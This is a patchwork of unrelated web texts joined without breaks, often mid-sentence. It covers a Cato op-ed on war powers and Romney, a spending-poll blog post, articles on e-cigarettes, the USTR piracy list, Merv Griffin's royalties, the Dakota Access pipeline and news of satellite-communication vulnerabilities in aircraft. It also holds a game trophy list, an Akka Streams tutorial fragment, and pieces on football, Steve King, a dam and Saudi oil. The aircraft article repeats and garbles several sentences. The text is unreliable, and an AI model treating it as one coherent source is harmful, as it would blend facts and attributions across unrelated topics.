Madison and his fellow delegates also didn’t trust sinful human beings with expansive, unreviewable power. John Jay warned that discreditable motives often led kings “to engage in wars not sanctified by justice or the voice and interests of his people.” Pierce Butler insisted that the Constitution did not give the president authority to start wars “as throwing into his hands the influence of a monarch, having an opportunity of involving his country in a war whenever he wished to promote her destruction.”
For these reasons, the Founders consciously impeded rather than facilitated executive war-making. Indeed, the Founders granted the legislature most military powers: raising an army, funding the military, ratifying treaties, approving rules of war and issuing letters of marquee. And only Congress could take America into war. Article 1, Sec. 8 (11), stated: "Congress shall have the power... to declare war." Said James Madison: the "fundamental doctrine of the Constitution that the power to declare war is fully and exclusively vested in the legislature."
That didn’t mean legislators simply got to “declare” that the president had started a war. Of course, the Founders recognized that America could be attacked without warning, which is why they changed the provision’s operative word from “make” to “declare.” But that did not mean they empowered the nation’s chief executive to attack other states without warning. President Romney would have no defense justification for launching a surprise strike on Iran. The consensus of U.S. intelligence agencies is that Tehran does not even have a nuclear weapons program. Without one there is no threat of Iranian attack—an unlikely prospect in any case since Washington would wipe Iran off of the face of the earth in retaliation. Romney is threatening war to preempt a nonexistent Iranian capability, so the U.S. military could strike at its leisure. If President Romney didn’t want to tip his hand, he could ask Congress for a conditional declaration of war.
That candidate Romney seems to view the American presidency as a modern monarchy illustrates why the Founders did not trust chief executives to make war unilaterally. George Mason explained that the president "is not safely to be entrusted with" the power to start wars, so Mason favored "clogging rather than facilitating war." James Wilson made a similar point: “It will not be in the power of a single man, or a single body of men, to involve us in such distress; for the important power of declaring war is in the legislature at large.” Thomas Jefferson endorsed the Constitution’s "effectual check to the dog of war by transferring the power of letting him loose."
A President Romney would of course command the military, but that position only enables the president to conduct wars authorized by Congress. Even Alexander Hamilton termed the commander-in-chief the “first general and admiral.” Hamilton explained that the chief executive’s authority was "in substance much inferior to” that of Britain’s monarch, and “would amount to nothing more than the supreme command and direction of the land and naval forces... while that of the British king extends to the declaring of war.”
With the putative Republican presidential candidate taking a seemingly cavalier attitude toward the Constitution, Congress should act now to assert its constitutional role. For instance, Senator Rand Paul (R-Kent.) pushed an amendment to the recent Iran sanctions bill noting that nothing in the act could be construed as authorizing an attack on Iran or Syria. His language was incorporated in the final legislation, though incessant war-hawks such as Senator John McCain (R-Ariz.) insisted that the bill indicate war was still an option. Senator Paul explained: “Before sending our young men and women into combat, we should have a mature and thoughtful debate over the ramifications of and over the authorization of war and over the motives of war.” With bipartisan support the House approved a similar stipulation authored by Representative Ron Paul (R-Tex.), among others.
Virginia’s Senator James Webb (D-Va.) has introduced legislation requiring congressional authority, through an expedited procedure, for “humanitarian intervention.” Congress faced a stark choice, he argued: “Either Congress must reject this passivity and live up to the standards and the expectations regarding presidential power that were laid down so carefully by our Founding Fathers, or it must accept a redefinition of the very precepts upon which this government was founded.”
Yale law professor Bruce Ackerman recently argued that President Obama should go to Congress for legal backing for his expanded bombing in Yemen. Congress authorized the president to respond to the terrorist assaults of September 11, 2001, not attack any nation at any time based on some alleged connection to terrorism. Said Ackerman: “The president should not try to sleepwalk the United States into a permanent state of war by pretending that Congress has given him authority that Bush clearly failed to obtain at the height of the panic after Sept. 11.” If the president doesn’t request such authority, Congress should impose its will.
Doug Bandow is a senior fellow at the Cato Institute. A former special assistant to President Ronald Reagan, he is the author of Foreign Follies: America’s New Global Empire (Xulon Press). He is a graduate of Stanford Law School and a member of the California and Washington, D.C. bars.Nothing new here, which is the most depressing part. Scroll halfway down the page at Pew and you’ll find a table tracking shifts in public opinion on various programs over the last four years. There are noticeable jumps in support for cuts from 2009 to 2011 as America got a snoutful of Obamanomics, but we’ve leveled off since then — and in not a single category of the 17 tested is there 50 percent in favor of decreasing spending. In fact, in only three of those 17 categories (foreign aid, unemployment aid, and the State Department) is there more support for decreasing spending than increasing it.
The most hopeful graph at the link is one purporting to show that the public’s become “more austere” because the big lead that fans of raising spending used to have over fans of cutting spending is now a bit smaller. Alternate headline: “Blogger’s Friday-night drinking to start early.”
As you see, apart from foreign aid, support for cuts never reaches 35 percent. Even in the case of foreign aid, you have a slight plurality in favor of at least preserving the status quo rather than cutting. There’s not much hope in partisan differences either. Of the 17 categories, Democrats prefer cuts to increased spending in just two; independents in just three; and Republicans in nine — although even GOPers support increased spending for, gulp, Medicare and Social Security. I realize I’m making too much of this; when you ask people whether they want to cut a program without emphasizing countervailing considerations like deficits, obviously they’re going to be reluctant. These questions at their core are really just gut checks on how valuable the public views each program or agency to be. They see comparatively little value in diplomacy, which is why foreign aid and State get low ratings, and much more in veterans’ benefits. And yet, after four years of hot political rhetoric about exploding debt and a fiscal crisis on the horizon, you would think that the numbers for increasing spending, at least, would be minuscule. They’re not.
By way of partially explaining why, I’ll leave you with these two tweets.E-cigarettes come under fire from state health experts
Owner Feras Kalieh smokes an e-cigarette while working at Vapor Smoke Shop in San Francisco in December. Owner Feras Kalieh smokes an e-cigarette while working at Vapor Smoke Shop in San Francisco in December. Photo: Michael Short / Special To The Chronicle Photo: Michael Short / Special To The Chronicle Image 1 of / 1 Caption Close E-cigarettes come under fire from state health experts 1 / 1 Back to Gallery
California health officials on Wednesday declared electronic cigarettes a public health threat, joining a growing number of medical experts around the country who are pushing back against the increasing popularity of the devices that advocates say offer a safer alternative to smoking.
In a 21-page report, the state Department of Public Health highlighted the potential dangers of “vaping” and said its intention was to begin a statewide public health campaign to correct “misinformation” about e-cigarettes as being a more healthful alternative to tobacco.
Supporters say e-cigarettes can help people quit smoking, but state health officials say the claim lacks evidence and they fear the devices, also known as “vape pens” and “e-hookahs,” could serve as a gateway into the smoking habit.
Over the past 25 years, California’s smoking rate has dropped to just 11.7 percent, the second-lowest of all states behind Utah. Meanwhile, e-cigarette use in the state has skyrocketed, particularly among young people, the report said. Vaping among people 18 to 29 years old has risen from 2.3 percent of that population in the state in 2012 to 7.6 percent in 2013. Critics are most concerned about new young smokers.
“E-cigarettes represent a new public health challenge and threaten to undo and reverse the progress we’ve made by renormalizing smoking behavior,” said Dr. Ron Chapman, state health officer and director of the Public Health Department, during a media call Wednesday.
The battery-operated devices, which often look much like real cigarettes, work by heating liquid nicotine and turning it into an aerosol that can be inhaled. The devices can be used to vape other fluids, typically flavors like bubble gum or gummy bear that typically also contain nicotine.
California poison centers are seeing a surge in calls related to exposures to “e-juice,” or the liquids inside e-cigarettes, in many instances involving youngsters who may be attracted to the flavors. Among children younger than five, incidents of e-cigarette poisonings from the liquid increased from seven in 2012 to 154 in 2014, according to the report.
The Public Health Department’s effort follows the introduction Monday of legislation by state Sen. Mark Leno, D-San Francisco, that would ban e-cigarettes from the same places that smoking is prohibited, including schools, work, restaurants, bars and other public spaces.
Three other states have already passed laws that treat e-cigarettes like a tobacco product, and more than 120 U.S. cities and counties, including San Francisco, have passed similar legislation. California bans the sale of e-cigarettes to minors, but further legislation to regulate the devices has been stalled.
The Bay Area Rapid Transit Board of Directors is poised to make a final decision on Feb. 12 to ban e-cigarettes from BART trains. The U.S. Food and Drug Administration proposed rules in April that defined e-cigarettes as tobacco products, but it’s unclear when those rules will be finalized.
Chapman said his department’s announcement is independent of the political efforts to regulate the devices. “The focus in our department is all about public education... and this is just the beginning of that effort,” said Chapman, who offered few details about the public awareness campaign.
E-cigarette advocates criticized the department’s report, calling it “overheated rhetoric.”
“This report inappropriately paints this complex and important public health topic as a black-and-white issue,” said Gregory Conley, president of the American Vaping Association, which represents the vaping industry. “Despite the health officer’s false claims, there is ample evidence that vaping helps smokers quit and is far less hazardous than smoking.”
But Chapman said a growing amount of research shows e-cigarettes, which are largely unregulated and vary in content, to be unsafe and to pose secondhand risks. He pointed to research that shows e-cigarettes emit at least 10 chemicals that are found on California’s Proposition 65 list of chemicals known to cause cancer, birth defects or other reproductive harm.
“The reality is for many of these chemicals, such as benzene and formaldehyde, there really is no level that is safe,” he said.
Chapman said more research is needed.
“From all the evidence we have so far, e-cigarettes are not as harmful as conventional cigarettes, but e-cigarettes are not harmless,” he said. “They’re not safe.”
Victoria Colliver is a San Francisco Chronicle staff writer. E-mail: vcolliver@sfchronicle.com Twitter: @vcolliverThe document in question admits that one of the scofflaws mentioned no longer exists. And the anti-piracy survey concedes that another, Taobao, is making real efforts to improve. But that didn't stop the United States Trade Representative from putting these Internet sites on its new "Out-of-Cycle Review of Notorious Markets," released on Monday.
"The review we are announcing today shines a light on examples of many offending markets, and highlights an opportunity to work together with our trading partners to curb illicit trade and expand legitimate commerce in creative and innovative industries," declared USTR's Ron Kirk upon the report's release.
Other miscreants include IsoHunt, The Pirate Bay, Demonoid, and BtJunkie. The compendium also includes a variety of interesting physical locations around the world, from Mexico to Indonesia.
Why is this rogue's list "out-of-cycle"? Normally the US Trade Rep publishes the survey as part of its "Special 301" procedure. That's a section of a 1994 international agreement which says that the USTR "must identify those countries that deny adequate and effective protection for IPR or deny fair and equitable market access for persons that rely on intellectual property protection."
But this new review doesn't focus on countries so much as specific websites and places that have marketing practices that the USTR and its big content supporters don't approve of. The survey "reflects an effort to further expose these markets," it notes, yet concedes that the list "does not purport to reflect findings of legal violations."
So what does it purport to do? Growl and throw the government's rhetorical weight around, as far as we can tell. Here are some of the alleged global scofflaws the report targets.
Allofmp3 "clones"
"While the Russia-based allofmp3 (formerly the world’s largest server-based pirate music website) was shut down in 2007," the survey notes, "nearly identical sites have taken its place." The Recording Industry Association of America sued the company's owner, Mediaservices Inc., in 2006. But the USTR document doesn't mention any of the replacements by name.
Taobao
The USTR report classifies the Chinese website Taobao as a "business-to-business" or "business-to-consumer" venue that has been "cited by industry" as offering infringing products (cigarettes, pharmaceuticals, sporting goods), "while maintaining intellectual property policies that are inconsistent with industry norms."
And yet the document concedes that Taobao has made "significant efforts to address the availability of infringing goods through its website." But, "it still has a long way to go in order to resolve those problems."
In addition these shortfalls, "Taobao recently ranked in the 15 most visited sites in the world, and in the five most visited sites in China," the survey observes.
Baidu
Baidu, perhaps China's most popular website, is a "deep linking" venue, USTR warns. Marketers generally define deep linking as pointing a hyperlink to a specific image or page on a site besides its home page. Baidu's links direct to "allegedly infringing materials, often stored on third-party hosting sites," the report says.
BitTorrent baddies
All the usual suspects are mentioned. In addition to Canada's IsoHunt and The Pirate Bay, there are Kickasstorrents, Torrentz, and tracker sites like Rutracker, openbittorrent, zumunda and Publicbt.
The list also cites TV Ants ("Watch TV channels from around the world free on your PC") and smartphone app site 91.com, reportedly responsible for for "more than half of all downloaded applications in China."
Physical markets
Perhaps the most interesting section of the document is its list of actual, real-people places that allegedly buy and sell infringed goods. Dare we confess that these actually sound like interesting places to visit:
Bahia Market (Guayaquil, Ecuador) This expansive market of at least 1,000 vendors sells large quantities of illicit goods, many of which are either counterfeit products or goods stolen from the Guayaquil port. China Small Commodities Market (Yiwu, China) The China Small Commodities Market in Yiwu reportedly sells mostly consumer goods. The market has been cited as a center for wholesaling of infringing goods, making this market the origin of many counterfeit goods available internationally. Ciudad del Este (Paraguay) In Ciudad del Este, Paraguay, the city’s economy is based in part on the trafficking of counterfeit and infringed goods, with a particular emphasis on electronic goods. This activity spills over into the entire Tri-Border Region of Paraguay, Argentina and Brazil, creating a hotbed of piracy and counterfeiting.
Other dubious locations include shopping centers in Jakarta, Manila, San Andresitos (Colombia), Karachi (Pakistan), and Tepito (Mexico City).
"The United States urges the responsible authorities to intensify efforts to combat piracy and counterfeiting in these and similar markets, and to use the information contained in the Notorious Markets List to pursue legal action where appropriate," the report concludes.We here at Celebrity Net Worth love writing about song royalties. Getting rich off a hit song's royalties just seems like such a cool way to live. For example, did you know that Sting still earns an estimated $2000 a day off royalties to the song "Every Breath You Take"? That's $730,000 a year without getting out of bed. In total, Sting has earned over $20 million in royalties off that one song in the last 30 years. How cool is that?! But to all you aspiring Stings out there, if you want to get rich making music you may want to spend less time writing pop hits for the radio and more time writing theme songs for game shows. Right before he died in 2007, Jeopardy creator Merv Griffin shocked the world when he revealed the astonishing amount of money he had earned in royalties from writing the show's famous "Final Jeopardy" theme music. A song he cranked out in under 30 seconds.
Merv Griffin created Jeopardy for the television network NBC in 1964. His wife Julann actually came up with the show's concept on a flight from Minnesota to New York. Once the plane landed, Merv headed straight for NBC where network executives bought the show on the spot, without a script or a pilot. The first version of Jeopardy was actually broadcast in mornings and early afternoons before becoming the internationally syndicated nighttime game show that we are all familiar with today. During its nearly 50 year run, the show has aired over 9400 episodes and has spawned 30 international adaptations around the globe. The Jeopardy version we are familiar with today with Alex Trebek premiered in 1984. This most recent iteration has won 30 daytime Emmys and averages 25 million viewers each week. And we haven't even talked about re-runs which air continuously throughout the world on dozens of channels, 24 hours a day – 365 days a year.
Over the last 50 years, Jeopardy has used a few different songs for its main theme music but the tune that's played during Final Jeopardy has always been the same. That tune is a song called "Think". "Think" was originally written by Merv in 1963 as a lullaby to help his five year old son Tony fall asleep. The song's original title was actually "A Time for Tony" and, according to Merv, it only took around 30 seconds to write. "Think" is the song we all associate with Jeopardy today and has been since 1984 when the Alex Trebek Jeopardy era premiered. Since 1984, re-worked renditions of "Think" have been used both for Final Jeopardy and as the show's main theme music.
Merv sold his company "Merv Griffin Enterprises" to Coca-Cola in 1986 for a whopping $250 million. The sale included both Jeopardy and Wheel of Fortune, but Merv retained ownership of "Think". Just like a pop song, Merv gets paid every time his song is used commercially. In other words, every time an episode of Jeopardy airs around the world, including re-runs and foreign adaptations, Merv gets paid. He also gets paid any time the song is played publicly like during a sporting event or in a movie. Technically his estate gets paid now since Merv unfortunately died in 2007 of prostate cancer at the age of 82. So, how much had Merv earned of royalties up until that point? Luckily, in a 2005 interview with the New York Times, a reporter asked Merv this exact question. His reply:
"You dont want to know…That little 30 seconds has made me a fortune, millions!… Probably $70-80 million."
$70-80 million. From a game show theme song. A game show theme song that has never topped the Billboard charts and has probably never even been played on the radio or sold as a single at a record store. And in the eight years since that interview took place, it's safe to assume the total royalty income for the song "Think" has grown to $90-100 million. The most famous Jeopardy contestant of all time Ken Jennings earned $2.5 million off his record setting 74 game winning streak. In order for Ken Jennings to make $80 million, he would have to win 2,368 games in a row. That would require Jennings to win every episode of Jeopardy for 10 years straight. Obviously that's an unrealistic scenario, but $80 million is four times the amount Sting has made off "Every Breath You Take". It's also almost three times more than Paul McCartney and John Lennon have earned off "Yesterday". So next time you make a list of the most prolific and successful songwriters of all time, don't forget to include Merv Griffin.
Oh and one more thing about Merv Griffin – In the 80s and 90s he become an incredibly successful real estate and hotel entrepreneur. At one point he even owned the world famous Beverly Hilton hotel. When Merv died in 2007, his net worth was estimated at $1.3 BILLION! Not bad for a former talk show host.President Obama, breaking his silence on the controversial Dakota Access Pipeline, said Tuesday that the federal government is looking for ways to "reroute" parts of the $3.8 billion project to address concerns raised by Native American tribes in North Dakota.
“My view is that there is a way for us to accommodate sacred lands of Native Americans,” Obama told online news site “NowThis.” “I think that right now the Army Corps is examining whether there are ways to reroute this pipeline.”
The president weighed in following high-profile clashes last week between protesters and law enforcement.
Obama said government agencies will let the situation “play out for several more weeks and determine whether or not this can be resolved in a way that I think is properly attentive to the traditions of the First Americans.”
The Standing Rock Sioux Tribe has been fighting the pipeline for two years, arguing it could traverse sacred ground and burial sites and pose health risks. Their bid to block the four-state, 1,172-mile pipeline, so far has succeeded in at least delaying the project.
The Obama administration was heavily criticized by lawmakers and oil industry groups in September after stepping in and temporarily suspending construction on the pipeline minutes after a federal judge ruled it could go forward.
North Dakota GOP Rep. Kevin Cramer said the reversal “does nothing to ensure certainty or calm, but rather adds further confusion.”
The pipeline is being built by a group of companies led by Energy Transfer Partners and was pitched as the fastest and most direct route to bring Bakken shale oil from North Dakota to U.S. Gulf Coast refineries.
According to court records, Energy Transfer has changed the route on its own dime – 140 times alone in North Dakota – to avoid building over burial sites. Ninety-nine percent of the pipeline route, of which roughly half has been built, is on private property.
Upon completion, the pipeline could move 470,000 barrels of crude in a 24-hour cycle – enough to produce more than 374 million gallons of gasoline a day.
For its part, the company maintains it is committed to completing the pipeline and would “obey the rules and trust the process.”
Blueprints show construction would stretch from the Bakken Formation – an underground deposit of oil and natural gas where North Dakota and Montana meet Canada – into Iowa, Illinois and South Dakota.
Proponents say the pipeline would create 8,000 to 12,000 construction jobs and pump an estimated $156 million in sales and income taxes into the economy. The pipeline is projected to generate an estimated $55 million annually in property taxes in North Dakota, South Dakota, Iowa and Illinois.
Those against the pipeline argue that environmental concerns – water contamination and greenhouse gas emissions – outweigh any economic benefits.
Despite the Justice and Interior Departments along with the U.S. Army Corps of Engineers halting construction on part of the pipeline in September, the protests have continued.
Last Thursday, it hit a chaotic pitch after hundreds of law enforcement officers moved in to force activists off private property. Officers in riot gear fired bean bags and pepper spray into the crowd. The six-hour standoff netted 141 arrests.
One woman taken into custody allegedly pulled out a.38-caliber pistol and fired three times at officers, just barely missing a sheriff’s deputy, North Dakota State Emergency Services spokesman Cecily Fong said.
Law enforcement officials did not fire back.
Obama called the protests in North Dakota a “challenging situation.”
“There is an obligation for protesters to be peaceful and there is an obligation for authorities to show restraint,” he said on “NowThis.” “I want to make sure that as everybody is exercising their constitutional rights to be heard, that both sides are refraining from situations that might result in people being hurt.”
Some have drawn similarities between the North Dakota pipeline and the Keystone XL pipeline. TransCanada Inc. is seeking $15 billion in damages after the Obama administration rejected the Canada-to-Texas project.
The Associated Press contributed to this report.Wandering in the Dark
Begin a journey to escape the Dark World.
100.0%
Common 99.96%
Common
Flow of Time
Complete the Castle Town episode.
94.9%
Common 95.59%
Common
False Temptations
Complete the World Within episode.
86.9%
Common 89.65%
Common
Real or Illusion?
Complete the Forest of Thorns episode.
84.0%
Common 87.59%
Common
Into the Depths of Darkness
Complete KINGDOM HEARTS 0.2 Birth by Sleep - A fragmentary passage -.
80.4%
Common 85.31%
Common
Treasure Hunter
Open all treasure chests in the Dark World.
7.3%
Very Rare 20.31%
Uncommon
Ambitious
Complete all objectives.
2.2%
Ultra Rare 10.71%
Rare
Undefeated
Complete the story without having to Retry or Continue.
50.0%
Rare 58.07%
Common
Heartless Hunter
Defeat 500 Heartless.
27.3%
Rare 42.59%
Uncommon
Ice Queen
Execute Spellweaver's Finish command 5 times.
82.1%
Common 87.13%
Common
Proud Player/Critical Competitor
Complete the game in Proud or Critical Mode.
20.9%
Rare 36.08%
Uncommon
A Magical Finale
Execute all Magic Situation Commands.
69.9%
Common 79.65%
Common
Shotlock Star
Earn an Excellent rating in Shotlock.
47.0%
Rare 64.93%
Common
Dark Explorer
Walk a long distance within a single map.
94.1%
Common 94.90%
CommonHack In The Box’ security summit in Amsterdam, a security researcher at N.Runs and a commercial airline pilot, Hugo Teso presented a demonstration that it's possible to Almost a year ago, at the ‘’ security summit in Amsterdam, a security researcher at N.Runs and a commercial airline pilot, Hugo Teso presented a demonstration that it's possible to take control of aircraft flight systems and communications using an Android smartphone and some specialized attack code.
Quite similar to the previous one, a security researcher claims to have devised a method that can give cyber criminals access to the satellite communications equipment on passenger jets through their WiFi and in-flight entertainment systems.
Cyber security expert Ruben Santamarta, a consultant with cyber security firm IOActive, will unveil his research and all the technical details this week at a major Las Vegas hacker convention, Black Hat conference, showing How commercial airliner satellite communication systems can also be compromised by hackers, along with the evidence of satellite communications system vulnerabilities that questions the standards these systems are using.
SATCOM Terminals: Hacking by Air, Sea and Land” explains that ships, aircraft and industrial facilities are all at risk of being compromised — perhaps with catastrophic results. Santamarta research paper titled “” explains that ships, aircraft and industrial facilities are all at risk of being compromised — perhaps with catastrophic results.
“We live in a world where data is constantly flowing. It is clear that those who control communications traffic have a distinct advantage. The ability to disrupt, inspect, modify or re-route traffic provides an invaluable opportunity to carry out attacks,” Santamarta wrote in his paper.
Till now, it’s just a claim, but if confirmed, could prompt a comprehensive restructure of aircraft security and other SATCOM terminals, and cast review on the way its electronic security have been managed in the past.
According to the researcher’s abstract of the talk made public, he will explain how devices sold by the world’s leading SATCOM vendors contain significant security flaws. IOActive also claimed to have determined that “100 percent of the devices could be abused” by an array of attack vectors.
"In certain cases no user interaction is required to exploit the vulnerability, just sending a simple SMS or specially crafted message from one ship to another ship can do it." Santamarta wrote in the description to his talk. He told Reuters, "These devices are wide open. The goal of this talk is to help change that situation."
Many of SATCOM vendors systems have hardcoded log-in credentials — same credentials used in multiple systems — giving hackers potential to steal credentials from one system and use them to access other systems, as a result of it, hackers can disable the communications and can interfere with the plane’s navigation.
reverse engineering" the highly specialized software known as firmware, used to operate communications equipment made by Cobham Plc, Harris Corp, EchoStar Corp's Hughes Network Systems, Iridium Communications Inc and Japan Radio Co Ltd. The researcher discovered the vulnerabilities by "" the highly specialized software known as firmware, used to operate communications equipment made by Cobham Plc, Harris Corp, EchoStar Corp's Hughes Network Systems, Iridium Communications Inc and Japan Radio Co Ltd.
Meanwhile, he discovered a theory that a hacker could leverage a plane's onboard Wi-Fi signal or in-flight entertainment system to hack into its avionics equipment. This could allow them to disrupt or modify the plane's satellite communications, potentially interfering with the aircraft's navigation and safety systems.
However, it is really important to note that just because a security researcher can perform the hack, doesn't mean hackers are doing it or can easily perform it, too. Santamarta has also acknowledged that his hacks proving the theory have been carried out in controlled test, and he is not sure how practical the hack would be in the real world.
Furthermore, in the abstract of his talk, we are not provided any technical details or any specific details of the exploit, so we are required to wait until Santamarta's presentation later this week.
Still, a good news for those companies |
into a fortress on their way to six league titles in the 1980s.
Rebuilding a fortress Liverpool, with the help of Mark Lawrenson (pictured above at Old Trafford in 1983), lost just eight top-flight league games at Anfield under Kenny Dalglish between August 1985 and February 1991. In the following five-and-a-half seasons, under the management of Ronnie Moran, Graeme Souness and Roy Evans they lost 18 home league games.
"Teams would come to Anfield and be negative," he said. "We would smell it. We would think to ourselves that it was not even going to be a contest."
However, the former Republic of Ireland international says Anfield was not always such a formidable place to visit.
Liverpool were European champions when he joined from Brighton in the summer of 1981, but they won only three of their opening nine league games at home in his debut season, prompting an overhaul of the side by manager Bob Paisley.
The Merseyside club then began to build momentum on their own patch, winning 11 of their remaining 12 top-flight matches as they clinched their 13th league title.
"What Moyes needs to do is do what Paisley did at Liverpool," said BBC Sport pundit Lawrenson. "But it will come down to the quality of the signings he makes, either this month or in the summer. Once he gets the players he needs, they will build some of that old momentum again."
Additional reporting by Chris Bevan, James Gheerbrant and Adam Williams.2 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Rep. Steve King (R-IA) appeared on CNN this morning and answered questions about his white supremacist tweet from yesterday. Asked by Chris Cuomo what he meant, King answered that he means exactly what he said:
Watch courtesy of CNN:
My interview with Rep. Steve King https://t.co/uuoLkRR1Q6 — Christopher C. Cuomo (@ChrisCuomo) March 13, 2017
The Southern Poverty Law Center (SPLC) captured King’s comments:
Rep. Steve King stood by his explicitly white nationalist comments on CNN today pic.twitter.com/wTYdsGOP7z — SPLC (@splcenter) March 13, 2017
King might have been bemused then, by efforts already underway to portray Steve Kings comments as somehow positive:
Believe it or not tho, in context, King was fumbling to make a positive point: encouraging interracial marriage+generational "melting pot." — Jeff B/DDHQ (@EsotericCD) March 13, 2017
Clearly, not at all what King said in his original tweet, which was not about an interracial melting pot, but rather the opposite. Because, for King, Western Civilization is not about ideals of individual freedom and democracy, but about skin color.
Appallingly, King seems to think values are genetic as if in lacking Anglo-Saxon genetic material you cannot be a lover of freedom.
Soledad O’Brien, for one, wasn’t buying it, tweeting:
This is an interesting interpretation. https://t.co/6pWsLliTDv — Soledad O'Brien (@soledadobrien) March 13, 2017
Yes. Interesting would be one word for it. Appalling dishonest would be another way to say it.
Others were pointing to the fact that not only are King’s words racist but they are inaccurate:
Beyond being prototypically racist, King's remarks are inaccurate. Immigration growth necessary to maintain population growth/tax base. — Noah Rothman (@NoahCRothman) March 13, 2017
And in fact, there was no need to sugar coat King’s words because while others were making excuses for him, he was standing by his racism, and much of the GOP with him.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:There are two ways to do that.
The code is available under this commit. If you check out and execute this ref, you’ll find our game runs exactly the same, meaning we accomplished our goal.
Now all that’s left is to replace our Sink.ignore with the queue…
Let’s add a storage var for this queue to our MainScreen, as well as a type alias for abstracting away implementation details:
However, the most convenient method for us here is Sink.queue. Materializing it generates a SinkQueue that can be polled for every separate element that arrives at the sink.
We turn to the nice list of available stages, again, from the docs. Happily, we find there’s a couple of sink stages that produce "dynamic" output, e.g. actorRef which is a dual to Source.actorRef.
However, materialization can provide an arbitrary number of values, as illustrated by this diagram from the docs :
We’ve already taken into advantage of materialization to obtain an input to our stream, by way of a materialized ActorRef.
Assigning a custom dispatcher
(This part is optional to the understanding of the text as a whole.)
On first glance, it seems it would be possible to instead define a Sink.foreach stage with a dispatcher that runs on the game’s UI thread.
Furthermore, it sounds like the Testkits’s CallingThreadDispatcher would be the way to go. Let’s try that out
BulletHell.scala val graph = tickSource.via(setUpLogic(List(generator, mover, worldUpdater, tickIncrementer))) (1).to(Sink.foreach[Seq[Action]](actions => { actions.foreach(_()) (2) println(Thread.currentThread().getName) (3) }).withAttributes(Attributes(Dispatcher(CallingThreadDispatcher.Id)))) (4) tickActor = Some(graph.run()) (5)
1 Same code as in the SinkQueue variant. 2 Iterating and calling all actions. 3 Debug statement to see whether we’re on the current thread. 4 Dispatcher’s in Akka are created dynamically from the configuration and referenced by IDs. 5 Going back to the same code as in the previous part of this blog.
However, when we run it, we would see e.g.:
game-akka.actor.default-dispatcher-4 game-akka.actor.default-dispatcher-3 game-akka.actor.default-dispatcher-4 game-akka.actor.default-dispatcher-3 game-akka.actor.default-dispatcher-4
whereas the UI thread is named LWJGL Application. If we think for a minute, that makes sense - the calling thread here is a thread from the pool used by the previous stages (the ones generating the actions, or rather the ZipN substage).
So, what we would need to do is to setup a custom dispatcher that would enqueue Runnable s, and expose a method named e.g. popAndRun() that would take the first Runnable out of the queue and execute it in the current thread. This popAndRun() would then be invoked during MainScreen#render().
However, since dispatchers cannot be created programmatically, we would need to employ some trickery in order to invoke such a method. I think it would work, specifically through the Dispatcher -lookup system and several casts, but would be a hacky way to implement what we already have achieved anyway.: The surging water level in
Dam is keeping officials of
Management Board (
) on their toes these days as it has crossed the 1,645-feet mark and is inching towards the danger level.
CHANDIGARHBhakraBhakraBeasBBMBThe waters at the country's second highest dam reached 1,647.87 feet on Tuesday - over 78 feet higher than last year's 1,569.9 feet on July 30. It was also the highest level recorded in the past eight years. On July 30, 2005, the water level recorded at Bhakra was 1,649.67 feet. However, according to BBMB officials, the situation is not "that alarming" still."We are keeping a close eye on the water level. The flood gates would be opened only if the water level crosses the danger mark of 1,650-feet in the coming days," said BBMB water regulations director V K Sharma. "And even if we have to release water, the spillage would be regulated and should not result in any flooding," Sharma added.BBMB officials are also extra vigilant as the Himachal Pradesh met department has predicted heavy rainfall on Tuesday and Wednesday in the state, which could result in a sudden increase in the water inflow into the Bhakra reservoir. "We had an inflow of 47,814 cusecs on Tuesday morning, which is decent enough and not alarming," said a board official.The water in Bhakra has recorded unprecedented levels this year owing to heavy monsoon showers of last month and early melting of the snow. The melting of snow has also been highest this year in the last over two decades.Earlier this month on July 10, the BBMB had sounded an alert after the water level touched the highest-ever mark of 1,629.87 feet in July, which was over 48 feet higher than last year's level on the same day. While warning Punjab against possible flooding of encroachments on the river beds of Satluj and Beas, BBMB chairman AB Agrawal had stated that flood gates would be opened if the water level crossed 1,650-mark.BBMB officials have also been holding meetings with Punjab and Haryana at regular intervals to apprise both the states about the water level.Saudi Arabia should pay America a fee for the service of securing the flow of its oil through the Persian Gulf to China, and affording it the ability to compete effectively against China’s other major supplier, Russia.
Long before the fracking revolution, relations between Saudi Arabia and America were based on a myth: America’s dependence on Saudi oil.
Why was that a myth?
Because up to 1973, America was the world’s largest oil producer, so it didn’t need Saudi Arabia’s oil. And when it needed it, Saudi Arabia wouldn’t hesitate to impose an embargo against its ally.
If the myth of America’s dependence on Saudi made little sense in the pre-fracking period, it makes less sense now, when America is back in the position as the world’s largest oil producer.
What ties the two countries together then? Geopolitics. America’s determination to keep Saudi oil flowing through the Gulf.
“Critics also point to the rise in US oil production as evidence that the US-Saudi alliance has outlived its purpose,” writes F. Gregory Gause III in Foreign Affairs. “But the ties between the two countries have never been about American access to Saudi hydrocarbons. In fact, when the relationship began in the early decades of the Cold War, the United States did not import a drop of oil from the Arabian Peninsula. What has always undergirded the relationship is the importance of Saudi (and the rest of the region’s) oil to the global market. The Persian Gulf still produces 30 percent of the world’s oil, with Saudi Arabia accounting for over a third of that output. Disruptions in the Gulf thus continue to reverberate worldwide. ”
Simply put, America is standing by to make sure that Saudi oil flows through the Gulf to its Asia allies. That was true back in the old days, that is, when Saudi oil was flowing mostly to Japan, an American ally, ready to shoulder the bill of America’s protection when needed (e.g., during the Gulf War).
But it hasn’t been true in the last two decades, with a big chunk of Saudi oil is flowing to China, a non-America ally; and an antagonist in South China Sea where China is trying to write its own navigation rules.
That’s why Saudi Arabia should pay America a fee for every barrel it exports to China.The Linux desktop can be a confounding thing—always just on the cusp of perfection, but seemingly lacking one small detail or another. Granted, nearly every Linux desktop can be brought to that level of greatness with a configuration or two, but every so often you just wish you could install and be done with it.
You won’t have to bother with codecs
You won’t have to hunt down third-party software
You won’t have to tweak the UI to fit your needs
You could easily play games
Media “just worked”
Most of us can take a standard distribution and get the above working with little to no effort. But other users may want a computer operating system that doesn’t require extra work.
That is where Chapeau comes in. Chapeau is a cutting-edge Linux distribution, built from Fedora Workstation, using the GNOME desktop environment, and intended to be an incredibly intuitive and easy to use, out-of-the box experience.
Trust me when I say Chapeau is exactly that.
Part of the Chapeau marketing states that it is “Fedora without the work.” I could not have said it better. With Chapeau, you get a desktop distribution in which everything works—in every way—out of the box.
What Chapeau includes
